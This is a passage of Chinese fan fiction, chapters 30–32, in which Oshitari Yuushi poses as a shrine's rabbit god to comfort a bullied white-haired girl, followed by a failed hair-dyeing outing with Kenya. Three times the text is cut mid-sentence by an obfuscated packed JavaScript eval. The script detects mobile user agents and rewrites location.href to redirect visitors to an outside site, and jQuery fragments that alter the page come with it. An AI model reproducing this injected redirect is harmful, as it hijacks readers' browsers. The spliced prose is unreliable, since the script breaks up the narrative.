她捧着脸,眉心紧蹙,看起来并不高兴。 忍足侑士悄悄观察了一会儿便收回了目光,并不打算出声。 他一下一下地拨弄着口袋里的小球,偶尔有风带来些许神社里热闹的声响,灌了他一耳朵。 该走了吧。 正当他准备起身离开的时候,一道柔软的声音自石阶上响起。 “兔子神,你在吗?” 他下意识往石阶上望去,果然是那个小女孩在说话。 “兔子神,我想请求你一件事,”她抠弄着自己裙摆上的玫瑰花,小心翼翼地说:“你应该在的吧?奶奶说只要是在神社里面发生的事情,你都能听到、看到。” 她顿了顿,又补了一句:“我在很虔诚地说话哦。” 虔诚之音才能够被神明听取。 无论是哪个教派都会刻意强调这一点,用以加强对信徒的“洗脑”。 可是这个世界上根本就没有神明啊。 忍足侑士觉得她有点笨。 他突然有些好奇她想要和神明求什么。 像这个年纪的孩子,无非就是些吃喝玩乐的东西吧。 可是…… 他瞥了眼她身上穿着的那条洋裙,由于家里有个热衷于时装设计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729343|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姐姐,他对于女孩子们的衣服也有些了解。 这条裙子是一个品牌的当季新款,虽然只是童装,但也价格不菲。 她穿着裙子还敢这样大大咧咧地坐在地上,显然对于弄脏裙子这件事情并没有什么心理负担,她的家庭条件应该很好,家人大概也很爱她。 这样的小孩,会和神明求点什么东西呢? 他靠在树旁,等着她开口,可直到他腕表上的分针走了一大格,她都还维持着抱膝的动作,一个字都没有说。 忍足侑士等得有点不耐烦了。 小孩子总是想一出是一出,就像笨蛋谦也一样。 或许她这个时候已经忘记了自己刚才想要说的话、想要做的事情了。 他自认为自己已经是个成熟的大孩子了,这么有童心地好奇别人的事情完全不是他应该做的事情。 真奇怪,他为什么没有在最开始的时候就离开呢? 他颇觉无趣,刚迈开腿想要离开这里,那个小女孩又开口了。 她惆怅地叹了口气:“兔子神,你能不能收回赐给我的礼物呢?” 神赐的礼物? 忍足侑士立时站住了。 虽然他不相信这个世界上有神明,但是这个“神赐的礼物”挑起了他的好奇心。 他已经知道了圣诞老人都是爸爸妈妈假扮的,想来这个“神赐的礼物”也是她的爸爸妈妈假扮神明送给她的吧? 究竟是什么礼物才会叫人想要叫对方收回去呢? 他的好奇心迅速膨胀起来。 “爸爸带我去东京了,说是以后大概会在那里定居,”小女孩的脸颊枕着膝盖,看起来情绪不高:“那里的人好像都不太喜欢我,我不喜欢那里,可是爸爸要在那里工作……” “妈妈去天上找你了,我在东京的时候就只有爸爸了,爸爸工作是为了给我更好的生活,保姆阿姨说我不好叫爸爸费神的……” 她说着自己在东京的生活,因为自己的不同被同学排挤啦,被起各种各样难听的外号啦,被人在头发上放小青虫啦……絮絮叨叨地说个没完。 她把自己遭遇的一切都归结于自己的白发,希望神明可以收回给她的这份“祝福”,好像失去了这样的“祝福”,她的情况就会得到改善。 只是那样的话,是不会得到改善的。 神明也收不回这样的“祝福”。 忍足侑士想了想,尽量放大声音,叫她能够听清:“你要学着反抗才行啊。” 小女孩被他的声音惊了一下,连忙抬起头四处观望:“谁?谁在说话?” 她顺着声音飘来的方向望去,那尊兔子石雕映入她的眼帘。 她胆子很大,站起身来拍拍身上的灰尘就往那边去。 忍足侑士莫名有些紧张,下意识往树后躲了躲。 她看了一圈也没有看到有人在,好奇地眨眨眼:“是你吗,兔子神?” 他要是现在走出去,会不会吓到她? 再说了,他听到她那么多掏心掏肺的话——还是偷听,总感觉有点不道德。 但是…… 他想到自己曾经请求神明,希望祂能够治愈小兔子,却没能得到任何回应,心不由得有些沉了下来。 他知道这个世界上是没有神明的。 所以……她的祈求也得不到回应。 可他知道霸凌这样的事情有多么的恶劣,她现在就是一艘孤立无援的小舟。 或许有一个“神明”给她一些建议,她就能从那样的境地走出来呢——她甚至都没有和家人说过这件事情,身边经常接触到的大人、那个保姆阿姨的思想也有些古旧,如果“神明”没有回应,她接下来要怎么办呢? 就算他给出的建议不那么管用,但哪怕只有一点点改善呢? 哪怕只有一点点也好。 忍足侑士抿着唇,面色沉重地应下了:“是我。” 30.第 30 章 “是我。” 女孩的眼睛倏地亮了起来:“原来真的有神明啊!” 她突然有点不好意思,把手背到身后蹭来蹭去:“那……那我以前说的话,是不是都被你听见啦?” 忍足侑士好奇道:“什么话?” 她闻言突然松了口气,原来兔子神不知道她说的那些“不敬”的话呀。 她不安地绞着手指:“没什么,什么都没有!那个,兔子神,你可不可以把送给我的白头发收走呢?” “为什么呢?是白色不好看吗?” 忍足侑士一边说一边观察着她的神色,在心里默默琢磨着要怎么扮演好这个“兔子神”的角色。 小女孩摇摇头:“很好看,可是除了神社里的叔叔阿姨,没有人喜欢这样的颜色。” 她说完等了一会儿,却没能等到兔子神的声音。 寂静的夜里只有夜风在勤勤恳恳地拨弄着树叶作琴,树上半枯的叶片碰撞在一起,发出“沙沙”的响声。 “兔子神?”她小心翼翼地问道:“你怎么不说话了?” 她犹豫片刻,轻轻地倚靠在一旁的兔子塑像上:“对不起,我辜负了你的心意,我不该这样说的……其实我也很喜欢白色的,可是……” 可是什么,她没有继续说下去。 她的情绪瞬间低落下来,眉眼耷拉着,本就蓬松的长发在夜风中张牙舞爪,看起来稍显滑稽。 忍足侑士忖度着说:“你觉得,你的那些……同学,做的对吗?” 女孩怔了怔,嘟囔着:“原来奶奶没有骗我,神明真的是全知的。” 她静了一瞬,缓缓地摇头:“欺负人是不对的,但是老师说被欺负的人也……” 她话音未落,脑门上就一疼,把她的话全部堵进腹中。 她捂着脑袋垂头望去,一颗锖色的糖果落在她的膝上。 “笨蛋,不要什么话都相信,要有自己的判断,”忍足侑士心中怒火熊熊:“老师说的就一定对吗?” 女孩一脸茫然:“可是、可是老师是大人,大人说的话怎么会错呢……” “你也太高看大人了,大人只是从小孩子的身体长到大人的身体而已,他们做小孩的时候都不能做到完美,怎么可能长大就变得完美了。” 忍足侑士想了想,决定举个举国皆知的例子说明一下:“今年芡山市长不就犯了个大错误,直接被革职了吗?” “你看,大人也会犯错的,而且他们犯的错误常常要比小孩子犯的错误大很多很多倍。” 他望向女孩,期望能够看见她明悟的眼神——可惜并没有。 小女孩像个傻瓜一样呆呆的,她神情空白:“芡山市长……谁啊?革职是什么?” ……好吧,他或许不应该和幼稚园的小孩子举这种例子。 他绞尽脑汁地想了想,又想到一个合适的:“那就……你的爸爸,他就没有犯过什么错吗?比如做蛋糕的时候把盐当成糖使用,最后做出来的蛋糕完全不能入口……什么的。” 他爸爸就犯过这样的错,被妈妈狠狠教训了一顿,自此以后,他每次做菜之前都要尝一下白色的调味品,确认过味道以后再放。 这是他亲眼见到过的、他爸爸的错误,也是在那一次他才认识到,大人也是会犯错的。 他的目光殷切地投向小女孩,这下她绝对可以明白了! “我爸爸没有犯过这样的错误哦,”小女孩崇拜似的捧着脸,“我爸爸很厉害的,他做菜也很好吃,从来没有放错过调味品!” “那别的……” 忍足侑士下意识想要再找出一个关于父亲的例子来,不过他立刻就意识到这不是关键,连忙止住了话题。 他清了清嗓子,尽量让自己的声音听起来威严一点:“咳,我可是神明大人哦,神明是不会说谎的——你不相信我吗?” 女孩点点头:“好吧,我相信你,你是兔子神嘛。” “嗯,所以……” 他话音未落,就被她突然接过了话。 “所以,兔子神,你也是小孩子吗?”她纠结地皱着脸:“感觉你好像不是很喜欢大人,声音也完全就是小孩子的声音嘛……” 因为他本来就是个假冒神明的小孩嘛! 忍足侑士顿时红了脸:“这不重要,我们要讨论的问题根本就不是这个。” 他很快就调整好心态,声音也沉了下来,变得严肃许多:“你遇到的事情,要全部告诉你爸爸才可以——在遇到这种问题的时候,告知大人会比小孩子自己处理要好很多。” 但前提是家里的大人真的对这件事情上心。 “要很严肃地告诉他才行哦,面对面地说,不要担心会打扰到他,他是你的爸爸不是吗?” “还有,要是有人欺负你,你……” 他本想说要揍回去,但看到她的细胳膊细腿,最终还是把这话吞进了肚子里,换了个说辞:“要是有人欺负你,你就哭,哭大声一点,把所有人都引过来——虽然你的老师不怎么样,但是总归会有好心的老师的,你就只要一直喊要爸爸就行,明白了吗?” “当然,最好还是能反击回去……”他瞥了眼她的两颗尖尖的小虎牙,最终还是犹豫着说道:“如果你打不过的话,就咬回去吧……横的怕更横的,你们这个年纪的小孩,把他吓住就行了。” 他说了一大堆可能会遇到的情况以及应对的措施,小女孩懵懵懂懂地听着,时不时点点头。 “小彩——小彩——” “啊,是奶奶在找我,”她惊呼一声,从石阶上爬起来,“再见啦,兔子神,谢谢你和我说这么多,我会去尝试一下的。” 她踌躇着在原地停了停,雪白的长发和在风里飘来飘去。 “兔子神,我妈妈在你的神宫里过得还好吗?” 忍足侑士迷茫道:“什么……?” “你、你不记得我妈妈了吗?”她似乎有些着急,语气也跟着急迫起来:“我妈妈是你的神官呀,她叫英利香,三年前去到你身边的那个神官。” 他立刻意识到了什么,呼吸有些急促。 难怪她一直都没有提到过妈妈。 原来她的妈妈三年前就已经去世了。 他的心仿佛泡进了一汪酸水,斟酌着说道:“放心好了,你妈妈在神宫过得很好,她也一直在高天原关注着你——这次我来,她还让我给你带了糖果,喏,就在那边的兔子耳朵上。” 小女孩瞪大了双眼,“哒哒”地跑到兔子石像旁边,踮着脚往上看了一眼,果然有几颗糖果躺在上面。 她小心翼翼地抓住糖果,轻轻地拢在手心。 玻璃糖纸在月光的照耀下流光溢彩,捏在手里“喀拉喀拉”地响。 她珍惜地看着这几颗糖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733411|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子酸酸的:“妈妈给我的糖……谢谢。” 远处的呼唤声愈来愈急,她连忙抬起袖口,把脸上的泪痕擦干,她随手从身上拧下一朵最漂亮的花放在兔子耳朵上。 “这个玫瑰花送给你,我先走啦,不然奶奶要着急了。” 她跑出去几步又停下,鼓起勇气喊了一句:“兔子神,大家都说我是你赐给神社的小兔子,以后我还是会回到你身边当兔子的,你要对我妈妈好一点哦——” “不然的话,我就,我就吃光你神宫里的供奉,让你没有东西可以吃!” 威胁的话叫她说尽了,她便踩着石阶,“哒哒”地跑远了。 夜间山里有雾气,渐渐地也就看不到她了。 忍足侑士这才从树后走出来。 他捻起那朵带着别针的粉色的花,随手放进兜里——这才不是玫瑰呢,是月季。 果然是笨蛋。 今天的遭遇好像古书里的志怪故事啊。 山精、兔妖什么的…… 他又瞥了眼她离开的方向,快步走向了神社。 …… “所以,你觉得有外星人是很正常的!”片桐彩兴奋地眨眨眼:“你看,连神明都真的存在,外星人当然也存在啦!” 忍足侑士从回忆中抽离,听她这么说不由得觉得有点好笑:“好吧,你说的对,神明存在,外星人也存在。” 想到他之后再见到她的情景,他紧了紧手里捏着的水杯背带:“说起来,你有按照那个……神明的话去做吗?” 小彩愣了愣,小声说:“当然有啦,我说到做到嘛……” 她的情绪有些低落,嘴角也跟着撇了下来:“不过我总是见不到爸爸,保姆阿姨总是说爸爸很忙,每次老师找家长的时候,来的都是她。” “她一直叫我忍耐,说我也有错,她好讨厌,我想打电话给爸爸,可是她总是说爸爸在出差很忙不让我打,我明明就有看到她在给爸爸打电话呀……” “之后我和那个一直拽我头发的男同学打架了,用剪刀把他的头发剪掉了,也把我自己的头发剪掉了,来的人还是她,她还一直叫我和那个欺负我的人道歉,太讨厌了。” “后来的事情……我忘记了,爸爸回来了,那个保姆阿姨就不见了,爸爸就带我去看病。” “再后来我就来大阪了。” 她的睫毛一颤一颤的,显然情绪不高。 后来的事情她真的忘记了吗? 忍足侑士叹了口气,总归不是什么好事,他便没再追问什么。 他把手搭在她的脑袋上揉了揉:“要不要再把头发留长呢?你之前看到的那个特别喜欢的编发不就只有长发才能编吗?” “你编那个发型一定很好看——不会再有人拽你的头发了。” 小彩抿着唇,似乎在思考什么,她一边踢踏着地上的石子一边往前走,没说留还是不留。 忍足侑士也不催她,只是这么静静地陪着她走。 他们快要走到家门口时,一团黄澄澄的“角落生物”映入眼帘。 哇,是穿着幼稚园园服的谦也! 小彩好奇地戳了戳他软绵绵的后背,对方扭过脸,脸上还带着泪痕。 见到是她,硕大的泪珠从脸颊上滚落。 忍足谦也“嗷”的一声哭了出来。 “小彩,你、你始乱终弃!!!” 31.第 31 章 山溪潺潺,女孩坐在赭色的山石上乘凉。 她捏着一牙西瓜咬了一口,惬意地眯起了眼睛。 西瓜咬起来脆脆的,甜蜜的汁水在她唇齿间抿开,她好心情地踩了踩水,静静地享受着独属于自己的静谧时光。 只可惜这份静谧没能维持多久就被打破了。 炎炎夏日里,除了喧闹的蝉鸣以外,还有一个黏糊糊的小尾巴。 “小彩,你怎么又一声不吭就跑出来了,我找了你好久。” 男孩气喘吁吁地跑到她身边坐下,顺手也拿了一牙西瓜吃了起来。 片桐彩瞥见他额角滴落的一滴汗,随手从口袋里掏出手帕递给他:“你找我做什么,不是说今天想去染发吗?” 忍足谦也毫不客气地接过,随手擦了擦自己的脸:“你不和我一起吗?” 她奇怪地看了他一眼:“你去染发还要人陪吗?” “当然要!”忍足谦也重重地点点头:“染发要好久,我不想一个人待在那里,你陪我一起嘛,结束了我们刚好还可以一起去吃你想吃的那家牛骨拉面……我都和奶奶说好了晚上不回家吃饭。” 片桐彩满脸写着无语:“那是我奶奶,不是你奶奶——” “奶奶都不介意,你介意什么,”他咬了一口西瓜,嘟囔道:“再说了,叫片桐奶奶多见外啊,我们都认识这么久了。” “你前些天自己说答应我一个不过分的要求的,可不准反悔啊——陪我去染头发,这就是我的要求。” “好吧,等我吃完西瓜就去。” 片桐彩慢吞吞地咬着瓜瓤,试图拖延时间。 无他,今天实在是太热了。 地面像是奶奶做炸猪排时那口油汪汪的大油锅,热浪不断翻滚着,就像炸猪排时翻滚的热油一样。 这种天气她总是不愿意出门的,可她的小伙伴不一样,成天都在外面跑来跑去,风雨无阻。 不过他还算是有些眼色,来找她的时间特意卡在下午太阳没有那么烈的时候,不然她就是耍赖撒泼也不会答应和他一道去的。 忍足谦也最讨厌等待。 他眼巴巴地盯着慢吞吞地啃着西瓜的小彩,想催又不敢催。 他忍了忍,最终还是没能忍住,小声问道:“小彩,要不快一点吃吧?” “不要,我要细嚼慢咽,侑士说这样吃东西比较好。” 片桐彩咽下西瓜,细细端详了一阵。 很好,按照现在的速度,她还能再拖个三五分钟。 她捧着西瓜,正要再咬一口的时候,一只手突然出现在她眼前,夺走了她手里的瓜。 她呆滞片刻,再等她顺着那只手的方向望去,西瓜就只剩下一个光洁溜溜的西瓜皮了。 “忍!足!谦!也!” 片桐彩气鼓鼓地拍了一下他的肩膀:“你在做什么啊!干什么抢我的瓜!” 她越想越气,直接用手糊上了他的脸,试图把手上沾染到的西瓜汁统统都擦到他的脸上。 忍足谦也胡乱地把她的手挪开,理直气壮道:“你吃得那么慢,肯定是因为你不喜欢吃,不喜欢吃的东西我帮你吃掉了,你非但不感谢我,还把我的脸当成擦手巾,还有没有道理了!” “难不成你是为了拖延时间才吃得那么慢的?”他狐疑地打量着她:“你应该还记得我们的约定吧——故意拖延时间的话,你就得给我三个你的小羊周边,我还可以随意挑选,这可是你自己说的。” “我……” 片桐彩一口气堵在心口,吐也吐不出,咽也咽不下。 她总不好承认自己就是故意拖延时间的吧! 那样的话,她的小羊周边就要忍痛送出去三个了! 那可是三个欸! 她郁闷地耷拉下眉眼:“好吧,谢·谢·你,谦也,你真是我的好·朋·友。” 她说话的时候颇有几分咬牙切齿的意味,忍足谦也似乎毫无所察,眯着眼笑了笑。 “不客气,谁让我们是好·朋·友呢。” 他伸出一截手臂,好叫他的好朋友扶着他站起来,“鞋子穿好,你要不要回去换身衣服?” 片桐彩想了想,摇摇头:“算了,就这么出去吧,你有帮我带我的手机和钱包来吗?” 忍足谦也随手在口袋里摸出一支手机交给她:“手机带了,钱包没有——我带了不就好了?反正够用就行嘛。” “好吧,”她嘟嘟囔囔的:“我今天一定要把你的零花钱用光。” “随便你,反正我们也快回家了。” 两人一道穿梭在树影中,忍足谦也一边走一边在心里默默地计算着自己的零用钱余额。 很好,绝对够他们两个人的花销了。 他想了想,问道:“小彩,你要不要试着染染头发?” “染发?”片桐彩惊讶地指向自己:“我吗?” “对啊,”忍足谦也佯装疑惑道:“这里除了我们两个,还有其他人吗?” “说不定还真有呢……”她神秘莫测地眨了眨眼:“我听说,这座山里有含恨而死的鬼怪作祟。” 她随手指向一个方向,胡诌道:“那里,据说那个地方以前是乱葬岗来着,战国时期的亡灵沉睡于此……” 她说的倒也不全是假话,战国时期最惨烈的围城战确实是在鸟取打响的,当时因为丰成秀吉的策略死掉的人不在少数,饿死的、人人相食的、幸存下来却因为再喂养综合症死去的…… 不过并不是在他们所处的这片区域,而是在别处。 世界上不存在鬼魂,就算存在的话,也不可能在神社管辖的范围内作祟。 忍足谦也一向害怕神鬼之说,被她这么一吓,他果然打了个激灵,来回搓着自己的手臂。 “这里、这里可是有神社坐镇的,”他嘴硬道:“有那么多神明在看着,哪儿还会有什么山精野鬼……” “谁知道呢,”片桐彩随意地耸了耸肩,“我只是突然想到这个传说,分享给你听一下而已。” “谁要听这种……” 他嘟囔了句什么,含含糊糊的,叫人听不清楚。 片桐彩的嘴角悄悄往上抬了抬,心里堵着的那口气瞬间散去了大半。 她好心情地哼着歌,步履轻快地往前走。 还未等她走出去几步,一只手倏地扣住她的手,她艰难地往外抽了抽,那只手却不依不饶地黏了上来,像是牛皮糖一样,怎么甩都甩不掉。 “小彩,我牵着你走,”忍足谦也强硬地把手指卡入她的指缝,与她十指相扣:“你看这里到处都是石……” 石头。 他扫了眼脚下的山路,很好,一颗拦路的石头也没有。 他顿了顿,犹不死心给自己找个合理的理由:“这里到处都是树……” 树根。 很好,这里也没有虬结凸起的树根——这里的树看着年份都还不算太大,俨然是新种没多少年的树。 女孩面无表情地盯着他,脸上似乎写着“我看你还能怎么编”这几个大字,清澈的目光几乎就要穿透他的心脏。 他的脸“唰”的一下红了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737936|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透,别过脸,结结巴巴地说:“反正、反正要牵着走,你和我一起走,不许一个人走在前面。” “为什么?” “我,我……” 十二岁,正是要面子的年纪。 忍足谦也大脑宕机,一个未经脑子处理的离奇理由脱口而出:“我要听你哼歌!” 对,没错,这个理由很完美! 要是离得远一些,他就听不到她哼的曲子了! 做得好!忍足谦也! 你简直就是世界上最聪明的人,没有之一! 他那艘慌乱摇曳的心舟慢慢在惊涛骇浪中稳住了。 “你刚才哼的是朝仓风斗的新歌吧?”忍足谦也随口哼了几句:“这首歌还挺好听的,我最近也一直在听。” 片桐彩觑了他一眼,幽幽地说道:“不好意思啊谦也,我哼的是圣川真斗和一之濑时矢合作舞台的那首。” 忍足谦也:…… 失策了。 他忘记小彩是个音痴了。 可是刚刚那首歌的曲调真的和朝仓风斗的那首很像啊! 他沉默了一会儿,尝试转移话题。 “刚才的问题你还没有给我回复呢,”他小声地说:“你要不要试试看染发?其实我觉得粉色很适合你,很可爱。” 片桐彩知道自己这个朋友是个面皮很薄的家伙,要是一直摁着他追问,他的脸大概就要烫熟了,便也干脆顺着他的意忽略了刚才的闹剧。 他的提议不错,她很心动,但是…… “谦也,四天宝寺真的自由到学生染什么样的发色都可以吗?” 她忧心忡忡地蹙着眉:“你想染的亚麻色,我觉得说不定还能含混过去,被查到就说是天生的发色,可是粉色……” “这个世界上有天生的粉色头发吗?” 忍足谦也认真地想了想:“粉色……不知道啊,我只知道有红头发的……但是师匠他们说是可以染发的,只要不那么夸张就好,等上了高中就没有那么严格了。” 他撩起一小段女孩的长发:“你染淡淡的粉色不就好了吗?很淡的那种,我之前有看过有人染,很好看的。” 片桐彩无奈地叹了口气:“可是谦也,你是不是忘记了一件事。” “什么?” “染发的第一步是漂发,没错吧?” “是啊……” 说到这个,忍足谦也的眼里盈满了羡慕的神色:“小彩,你都不用漂色,直接染就好了,肯定很容易上色……我的头发还不知道要漂多少次呢。” 片桐彩捏起他的一小撮额发,在指间捻了捻,不由得赞同道:“确实,你的头发颜色很深……黑色也很好看的。” “那你就多看几眼最后的黑发帅哥忍足谦也吧,”他得意地甩了甩脑袋:“以后你可就看不见了,我想尝试的颜色还挺多的。” 片桐彩嫌弃地瞥了他一眼,对于他的说法不置一词。 不过她确实被他挑起了兴趣,想要染个漂亮的粉色。 “谦也,你确定你找的那个理发师手艺靠谱?不会我要染淡淡的粉色,她染出一个饱和度超高的粉色给我吧?毕竟我的头发超级容易上色……” 忍足谦也拍着胸脯打包票:“绝对靠谱,我在那里看了好几天了,她的手艺真的很好!” 片桐彩满意地点点头:“那你一会儿记得帮我付钱哦,等回去我再把钱给你——你带的钱够吗?” “够的够的,你放心好了。” 他笑嘻嘻的:“染完以后,侑士绝对会被吓一跳。” 32.第 32 章 “这就是你说的……靠谱?” 自从片桐彩看过镜子里的自己以后,太阳穴处就一直一突一突地跳。 她揉了揉太阳穴,疲惫的神色侵占了她的眼湖,她抬眼望向杵在她身边唯唯诺诺、乖巧听话的忍足谦也,一时间不知道该说些什么好。 两个人慢吞吞地走到提前预约好的拉面馆找了个位置坐下,相顾无言。 这会儿正值饭点,拉面馆里人声鼎沸,喧闹的人声充斥着片桐彩的耳朵,她拉着凳子坐到忍足谦也身边一拳距离的地方,冲着他招了招手。 忍足谦也老老实实地俯下身子,侧耳听她说话。 “谦也,”她捏着他的耳廓,尽量放大了些音量:“还有不到一周的时间就要开学了,你说,这下要怎么办?” 忍足谦也苦恼得想要挠挠头,可他想到自己是刚染的头发,只好按住自己蠢蠢欲动的手。 他想了想,踌躇着说:“要不……你就说你是天生的发色?反正也有那种类型的吧……我记得你家祖上也有人和欧洲人结婚什么的……” “等等,你怎么连这种事情都知道……算了,”片桐彩无力吐槽,双目无神地挑起一小缕头发:“就算是遗传,谁家遗传能遗传出这种……玫红色的头发啊……” 谁知道那个理发师今天刚巧不在,是她的学徒们给他们染的头发。 大约是他们不常调这种颜色——毕竟这是个小地方,染这种夸张颜色的人不太多,导致她的头发染翻车了,不过忍足谦也的头发就染得很好很自然。 虽然他们因为染发翻车给他们打了折,但她还是开心不起来。 她随手抓起几缕又松开,发丝像流水般在她指间流走,她的皮肤本来就很白,在高饱和度的玫红色的映衬下,显得更加白皙。 忍足谦也的目光黏在她脸上,小声说道:“好看的——虽然不是那种淡粉色,但是真的很好看,这个发色很衬你。” 片桐彩颇为赞同地点点头:“我当然知道很好看,可是开学以后该怎么办?” 她气鼓鼓地拿起桌上的水杯,呷了一口麦茶,“要是开学第一天就被风纪委员找上门,那就太丢脸了。” “应该不至于吧……”忍足谦也也跟着呷了一口茶,“我问问师匠好了,我记得他们国中的时候也染过夸张的发色来着……” 片桐彩有气无力地应了一声。 “这是两位的拉面,请用。” 染发染了好几个小时,他们也都饿了,两碗香喷喷的拉面摆在他们面前,他们一人从筷筒里抽出一双筷子就开始大快朵颐。 这家牛骨拉面不愧是鸟取拉面店打卡推荐的TOP 1,味道确实很不错。 牛骨汤浓郁鲜香,面条劲道顺滑,上面卧着的大块牛肉口感柔软却不失嚼劲,也很入味。 美味的食物稍稍抚慰到了片桐彩受伤的心灵,她化悲伤为食欲,狠狠吃了一大碗,中间还添了一份面。 两人从拉面店里出来的时候,外面的路灯已然亮起。 鸟取不如大阪那样繁华,这个点除了部分火爆的餐厅,大多数店铺都早早就关了门。 他们踩着路灯昏黄的光辉,慢悠悠地往家的方向走去,片桐彩落在忍足谦也身后半步,兴致盎然地踩他的影子玩。 也不知道是不是因为这里临山,空气总是清新湿润的。 忍足谦也深吸一口气,夜风微凉,吹拂着他亚麻色的头发,他倏地转身,片桐彩一个没注意,直直地撞进他的怀里。 鼻梁酸痛的感觉刺激得她眼泪汪汪,她捂住自己撞痛的鼻子,气恼地瞪了他一眼:“你突然停下来做什么啊!” 被她这么一吓,他瞬间忘记自己刚才想要说什么。 他不好意思地蹭了下自己的鼻子:“我不是故意的……没撞伤吧?” 片桐彩眨巴眨巴眼睛:“撞伤了,还是很严重的伤,你得赔我。” 哦,那应该是没撞伤。 忍足谦也也不戳穿她,顺着她的话问了一嘴:“赔你什么?” “章鱼小丸子——” 她狡黠地眨了眨眼:“大阪烧也行,我要吃心斋桥那边那家的。” “行吧,回大阪再请你吃。” 忍足谦也顺手牵起她的手,两个人一边走一边小声聊着天,从心斋桥的大阪烧一直聊到四天宝寺的炒面面包。 路灯柔和的光打在地面上,今夜无月,星河璀璨。 鸟居前的一小段路是没有路灯的,只有两侧的石灯笼幽幽地发着光。 忍足谦也正准备从口袋里摸出手机打光,右手突然空了下来。 他抬眼望去,原本一直被他好好牵着的小彩跑得飞快,直直地冲着鸟居奔去了。 他手忙脚乱地调出手机自带的手电筒给她打光,自己也紧跟着过去:“小彩,天黑不要跑那么快!小心脚下!” 片桐彩远远地应了一声,直直扎进一个影影绰绰的影子里。 忍足谦也抬起手电筒照了照,距离太远,依稀只能看到一个人形。 他都不用想就知道,绝对是侑士。 他不适应地抓了抓自己空落落的手,步履沉沉地跟了上去。 “侑士!你是来接我们的吗?”片桐彩兴奋地和他拥抱一下,“你终于忙完啦?什么时候来的?” 忍足侑士好悬被她撞得后仰,他摘下连着随身听的耳机,顺手摸了摸她的脑袋。 “傍晚到的,”他说,“你们回来得有点晚,秀子奶奶担心你们,我出来迎一迎。” “我还以为是你特意出来接我们的呢,原来是奶奶说了你才来的,”片桐彩佯作不满地撒开他,嘟嘟囔囔的:“算啦,分开太久感情淡了……” 忍足侑士无奈地拍拍她的脑袋:“也才十几天不见吧……好吧,其实是我在担心,秀子奶奶早就睡下了——你们去哪里了?怎么这么晚才回来?谦也呢?” “在你面前,”忍足谦也怨气十足地盯着完全忽视了自己的堂哥:“我这么大个人你都看不到吗?” 忍足侑士推推眼镜:“哦,抱歉,天太黑了,你知道的,我视力不好。” 忍足谦也怒目而视。 别以为他不知道那是平光镜! 眼见他们又要开始拌嘴,片桐彩干脆一手拉一个,把他们隔在两边:“好了好了,先回家吧?好晚了,我都有点困了。” 忍足谦也重重地哼了一声,忍足侑士嫌弃地瞥了他一眼。 两个人被隔开以后安分了不少,片桐彩絮絮叨叨地说着这些天的事情,忍足侑士认认真真地听着。 他忍了又忍,终于还是憋不住心里盈满的好奇:“小彩,你的头发……” “今天刚染的,好看吗!” 片桐彩这才想起自己今天染了发,她兴冲冲地甩了甩脑袋,玫红色的头发呼了忍足谦也一脸。 忍足谦也“呸呸”地把扫进他嘴里的头发吐出来,小声抱怨道:“小彩,头发都进我嘴里了,你才染过发没多久,不会在我嘴里掉色吧……” 他吐了吐舌头,眼睛往下瞥,试图看清自己的舌头上有没有奇怪的颜色。 片桐彩瞪了他一眼:“我还没嫌弃你的口水沾在我的头发上呢,你倒是先嫌弃起我来了。” 她瞥了眼他的舌头,“放心好了,你的舌头很正常……你的嘴巴又不是花洒,那点口水能褪掉多少颜色啊。” 忍足谦也不满地嘟囔了几句,两个人又开始吵吵闹闹的。 又来了。 忍足侑士抿了抿唇。 好像有谦也在的地方,他总是被忽略的那一个。 他沉默地跟在他们身边,听着他们拌嘴,没有插话。 石灯笼里昏暗的光照不亮宽阔的石板路,纺织娘紧促的叫声叫他有些心烦意乱。 三个人的友谊太拥挤,或许有他没他对于小彩来说并没有区别。 这样的话,他的离开应该不会给她带来什么困扰吧。 脑海中的思绪纷乱,他随手给左耳塞上耳机,刚才未听完的那首歌早就放完了。 中岛美雪温柔的嗓音在耳机里循环,他漫不经心地听了一会儿,啊,是那首歌啊。< () { $(''.inform'').remove(); $(''#content'').append('' p>红色的花,白色的花*什么的…… 可惜他忘记这首歌的名字了。 他把手伸进口袋,切换的按钮“咔哒”响了一声。 …… 片桐彩从洗浴房里出来的时候,忍足侑士正坐在檐廊下。 他的耳朵里还塞着耳机,随身听静静地躺在他的手边,与他一同坐在檐廊下的,还有一盘中岛美雪的歌谣磁带。 她一边解着拢住头发的浴帽,一边在他身边坐下,忍足侑士这才反应过来有人来了,他扭过脸瞥了她一眼,摘掉了两只耳机。 “中岛美雪,《被爱的花不被爱的花》……又是老歌啊,”片桐彩拿起那盘磁带看了一眼,“你还真是喜欢昭和时代的东西呢——这盘我怎么没见过,是新买的吗?” 